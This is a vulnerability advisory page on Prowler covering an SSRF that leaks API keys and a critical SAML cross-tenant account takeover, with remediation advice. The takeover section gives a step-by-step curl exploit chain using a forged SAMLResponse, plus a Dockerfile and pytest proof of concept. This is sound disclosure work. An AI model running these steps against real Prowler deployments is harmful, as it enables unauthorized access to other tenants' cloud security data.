Where
-Infinity
0

Vendor Risk Score

See how prowler compares to other vendors in security performance

View Risk Score →
Severity
7.6
SSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

Prowler is a cloud security platform. Prior to 5.33.1, an authenticated user with Lighthouse provider configuration access could supply an unvalidated baseurl for the openaicompatible provider through POST /api/v1/lighthouse/providers and POST /api/v1/lighthouse/providers/{id}/connection, causing api/src/backend/tasks/jobs/lighthouseproviders.py to send outbound requests, including the API key in the Authorization header, to attacker-controlled or internal endpoints when client.models.list was called. This issue is fixed in version 5.33.1.

First published (updated )
Severity
9.6
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.emaildomain and SAMLDomainIndex.emaildomain are globally unique.

Details The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

python emaildomain = user.email.split("@")[-1] tenant = ( SAMLConfiguration.objects.using(MainRouter.admindb) .get(emaildomain=emaildomain) .tenant )

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.emaildomain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.updateorcreate(emaildomain=self.emaildomain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

3. Hardcoded auto-connect (api/src/backend/config/settings/sociallogin.py:23, 25): SOCIALACCOUNTEMAILAUTHENTICATION = True and SOCIALACCOUNTEMAILAUTHENTICATIONAUTOCONNECT = True are hardcoded and cannot be disabled at runtime.

4. IdP-initiated SSO enabled (api/src/backend/config/settings/sociallogin.py:78): rejectidpinitiatedsso: False allows the attacker to initiate the flow without requiring any action from the victim.

5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

bash Build the PoC Docker image (build context = repo root) docker build -t vuln001-poc -f vuln-001/Dockerfile .

Start the stack (PostgreSQL + PoC runner) docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

bash python -m pytest pocvuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

bash curl -i -X POST "$API/api/v1/saml-config" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{"type":"saml-configurations","attributes":{ "emaildomain":"attacker.com", "metadataxml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>" }} }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

bash SIGNEDASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key, valid for the attacker's configured IdP, but asserting NameID = user@victim.com curl -i -L -c c.jar -b c.jar \ -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \ --data-urlencode "SAMLResponse=$SIGNEDASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

bash curl -s -X POST "$API/api/v1/tokens/saml?id=$SAMLTOKENID" Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

bash curl -s -X POST "$API/api/v1/tokens/switch" \ -H "Authorization: Bearer $VICTIMJWT" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{ "type":"tokens-switch-tenant", "attributes":{ "tenantid":"<victim-real-tenant-uuid>" } } }' Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB: email = victim@victim.com id = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 [+] Simulated SAMLResponse posted to ACS endpoint: URL: POST /api/v1/accounts/saml/victim.com/acs/ NameID: victim@victim.com (attacker-controlled) [] Calling ProwlerSocialAccountAdapter.presociallogin() File: api/src/backend/api/adapters.py:17 [!] sociallogin.connect() was called! connected user email: victim@victim.com connected user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 victim user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - Victim user id in DB: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - User passed to connect(): b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - IDs match (victim's account): True - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter) PASSED ======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

- the organizationslug from the ACS route - the SAMLConfiguration.emaildomain - the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

python tenant = samlconfig.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.

Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because rejectidpinitiatedsso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.

Consequences: - Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.) - Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant - Lateral movement into any additional tenants the victim belongs to via the token switch endpoint - Possible persistent access depending on the SAML account-linking behavior in the affected version

Reproduction artifacts

Dockerfile

dockerfile Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover Builds a minimal Prowler API test environment to reproduce the vulnerability in api/src/backend/api/adapters.py (presociallogin, lines 17-25). Build context must be the parent directory: docker build -t vuln001-poc -f vuln-001/Dockerfile .

FROM python:3.12.10-slim-bookworm

LABEL maintainer="security-research" LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"

Install system packages required for: - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1 - psycopg2: PostgreSQL client headers - uv / prowler git dep: git, gcc, g++ RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ g++ \ make \ git \ libxml2-dev \ libxmlsec1-dev \ libxmlsec1-openssl \ pkg-config \ libtool \ libxslt1-dev \ python3-dev \ && rm -rf /var/lib/apt/lists/

Install uv (same version as the original Dockerfile) RUN pip install --no-cache-dir uv==0.11.14

WORKDIR /prowler

Copy API dependency manifests first (for layer caching) COPY repo/api/pyproject.toml repo/api/uv.lock ./api/

Install all Python dependencies from the locked file. This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc. WORKDIR /prowler/api RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv

Copy the full backend source code COPY repo/api/src/backend/ ./src/backend/

Copy the PoC test into the backend working directory so pytest can discover it COPY vuln-001/poc.py ./src/backend/pocvuln001.py

WORKDIR /prowler/api/src/backend

Set up environment variables for the test run. DJANGOSETTINGSMODULE points to config.django.testing which uses PostgreSQL. ENV PATH="/prowler/api/.venv/bin:$PATH" ENV DJANGOSETTINGSMODULE=config.django.testing ENV POSTGRESHOST=postgres ENV POSTGRESUSER=prowleradmin ENV POSTGRESPASSWORD=prowlerpassword ENV POSTGRESDB=prowlertestdb ENV POSTGRESPORT=5432 ENV SECRETKEY=poc-test-secret-key-not-for-production ENV SECRETSENCRYPTIONKEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0= Provide dummy values for optional services (Valkey/Celery not needed for unit tests) ENV VALKEYHOST=localhost ENV VALKEYPORT=6379 ENV VALKEYPASSWORD="" Neo4j not needed for adapter tests ENV NEO4JUSER=neo4j ENV NEO4JPASSWORD=neo4j Silence Sentry in test runs ENV DJANGOSENTRYDSN=""

CMD ["python", "-m", "pytest", "pocvuln001.py", "-v", "-s", "--no-header", "--tb=short"]

poc.py

python """ PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover

Product: toniblyx/prowler v5.30.0 (commit c2cef99) CWE: CWE-287 - Improper Authentication CVSS: 9.6 (Critical) AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Vulnerability location: api/src/backend/api/adapters.py lines 17-25 (presociallogin) api/src/backend/config/settings/sociallogin.py lines 23, 25, 78

Root cause: ProwlerSocialAccountAdapter.presociallogin() trusts the SAML NameID email from the assertion and calls getuserbyemail() which does a GLOBAL user table lookup with no tenant-scope or domain-ownership check. If a user with that email already exists, sociallogin.connect() links the attacker's SAML session to that account - giving the attacker control of the victim.

Attack chain: 1. Attacker registers a Prowler account and creates a tenant (normal user). 2. Attacker POSTs to /api/v1/saml-config claiming emaildomain=victim.com. models.py only validates format/uniqueness - no ownership proof. 3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the attacker's certificate, asserting NameID=victim@victim.com. 4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers presociallogin. The adapter looks up victim@victim.com globally and calls sociallogin.connect(request, victimuser) - ACCOUNT LINKED. 5. views.py issues a SAMLToken (JWT) for the victim account. 6. Attacker uses /api/v1/tokens/saml?id=<tokenid> to obtain victim's JWT.

This test proves steps 4 - the critical account-linking step - using the real production adapter code and a real PostgreSQL database. sociallogin.connect() is spied upon (not replaced) so we can capture the exact user object passed in. """

import pytest from unittest.mock import MagicMock

from allauth.socialaccount.models import SocialLogin from django.contrib.auth import getusermodel

from api.adapters import ProwlerSocialAccountAdapter

User = getusermodel()

VICTIMEMAIL = "victim@victim.com" VICTIMDOMAIN = "victim.com" ATTACKEREMAIL = "attacker@evil-corp.com"

--------------------------------------------------------------------------- Helper: print a separator for readable test output --------------------------------------------------------------------------- def section(title: str) -> None: width = 70 print(f"\n{'=' width}") print(f" {title}") print(f"{'=' width}")

--------------------------------------------------------------------------- Core PoC test ---------------------------------------------------------------------------

@pytest.mark.djangodb class TestSAMLDomainClaimingAccountTakeover: """ Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and a live PostgreSQL test database created by pytest-django.

The test creates a victim user in the database, then simulates the exact HTTP flow an attacker would trigger via a crafted SAMLResponse. """

def testattackersamlsessionlinkstovictimaccount(self, rf): """ Verify that presociallogin() links the attacker's SAML sociallogin to an existing victim account without ANY domain-ownership check.

Expected outcome (vulnerability confirmed): sociallogin.connect(request, victimuser) is called where victimuser.email == VICTIMEMAIL and victimuser was created independently of the SAML session - i.e. the adapter does NOT verify that the SAML registrant owns victim.com. """ # --------------------------------------------------------------- # STEP 1 - Create the victim's pre-existing account in the database. # In a real attack the victim signed up with email+password # and has an existing Prowler tenant membership. # --------------------------------------------------------------- section("STEP 1: Create victim account in database")

victimuser = User.objects.createuser( name="Victim User", email=VICTIMEMAIL, password="VictimS3cret!", ) # Confirm the user was actually persisted (real DB round-trip) fetched = User.objects.get(email=VICTIMEMAIL) assert fetched.id == victimuser.id, "Victim user must exist in database"

print(f"[+] Victim user created in DB:") print(f" email = {victimuser.email}") print(f" id = {victimuser.id}")

# --------------------------------------------------------------- # STEP 2 - Simulate the attacker's SAML flow. # # a. Attacker previously registered a SAMLConfiguration for # emaildomain='victim.com' via POST /api/v1/saml-config. # (No domain ownership proof is required - see models.py:2100) # # b. Attacker's self-controlled IdP issues a SAMLResponse signed # with the attacker's certificate, asserting: # NameID = victim@victim.com # # c. allauth processes the ACS POST and calls presociallogin() # before creating/updating the social account record. # # We represent the processed SAMLResponse as an allauth SocialLogin # object. The 'connect' method is spied upon to capture arguments. # --------------------------------------------------------------- section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")

# Build the sociallogin object that allauth would construct after # validating the SAMLResponse signature (which uses the attacker's # certificate - no server-side cert pinning for victim.com). attackersamllogin = MagicMock(spec=SocialLogin) attackersamllogin.provider = MagicMock() attackersamllogin.provider.id = "saml" # Provider discriminator attackersamllogin.account = MagicMock() attackersamllogin.account.extradata = {} # SAML uses user.email path attackersamllogin.user = MagicMock() # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse. # This is the email that presociallogin() will trust without verification. attackersamllogin.user.email = VICTIMEMAIL attackersamllogin.connect = MagicMock() # Spy: record call arguments

# Simulate the ACS request (POST to the victim.com ACS endpoint) acsrequest = rf.post( f"/api/v1/accounts/saml/{VICTIMDOMAIN}/acs/", data={"SAMLResponse": "<attacker-signed-base64>"}, )

print(f"[+] Simulated SAMLResponse posted to ACS endpoint:") print(f" URL: POST /api/v1/accounts/saml/{VICTIMDOMAIN}/acs/") print(f" NameID: {attackersamllogin.user.email} (attacker-controlled)")

# --------------------------------------------------------------- # STEP 3 - Execute the vulnerable adapter method. # # api/src/backend/api/adapters.py lines 17-25: # # def presociallogin(self, request, sociallogin): # email = sociallogin.account.extradata.get("email") # line 19 # if sociallogin.provider.id == "saml": # email = sociallogin.user.email # line 21 - trusts SAML NameID # if email: # existinguser = self.getuserbyemail(email) # line 23 - global DB lookup # if existinguser: # sociallogin.connect(request, existinguser) # line 25 - ACCOUNT LINKED # --------------------------------------------------------------- section("STEP 3: Execute presociallogin (vulnerable code path)")

adapter = ProwlerSocialAccountAdapter() print(f"[] Calling ProwlerSocialAccountAdapter.presociallogin()") print(f" File: api/src/backend/api/adapters.py:17")

adapter.presociallogin(acsrequest, attackersamllogin)

# --------------------------------------------------------------- # STEP 4 - Verify the attack succeeded. # --------------------------------------------------------------- section("STEP 4: Verify attack outcome")

assert attackersamllogin.connect.called, ( "FAIL: sociallogin.connect() was NOT called - " "the attack path did not execute" )

callargs = attackersamllogin.connect.callargs[0] , connecteduser = callargs # connect(request, existinguser)

print(f"[!] sociallogin.connect() was called!") print(f" connected user email: {connecteduser.email}") print(f" connected user id: {connecteduser.id}") print(f" victim user id: {victimuser.id}")

# The connected user must be the VICTIM (looked up from global DB) assert connecteduser.email == VICTIMEMAIL, ( f"FAIL: connect() was called with {connecteduser.email!r}, " f"expected {VICTIMEMAIL!r}" ) assert str(connecteduser.id) == str(victimuser.id), ( f"FAIL: connect() user id {connecteduser.id} != victim id {victimuser.id}" )

# Confirm no domain-ownership check happened: # The adapter does not inspect the SAML configuration to verify that # the sociallogin's tenant registered victim.com before accepting the email. section("RESULT: VULNERABILITY CONFIRMED")

print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack") print() print(f" Root cause (adapters.py:21-25):") print(f" email = sociallogin.user.email # trusts SAML NameID: {VICTIMEMAIL}") print(f" existinguser = self.getuserbyemail(email) # GLOBAL lookup, no tenant scope") print(f" sociallogin.connect(request, existinguser) # links attacker session to victim") print() print(f" Contributing settings (sociallogin.py):") print(f" SOCIALACCOUNTEMAILAUTHENTICATIONAUTOCONNECT = True # hardcoded") print(f" rejectidpinitiatedsso = False # IdP-initiated attacks allowed") print() print(f" Impact:") print(f" - Attacker obtains JWT token for {VICTIMEMAIL}") print(f" - Attacker can access victim's cloud security findings") print(f" - Attacker can switch to victim's tenant via /api/v1/tokens/switch") print(f" - No victim interaction required (IdP-initiated SSO enabled)") print() print(f" Evidence (this test run):") print(f" - Victim user id in DB: {victimuser.id}") print(f" - User passed to connect(): {connecteduser.id}") print(f" - IDs match (victim's account): {str(victimuser.id) == str(connecteduser.id)}") print(f" - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203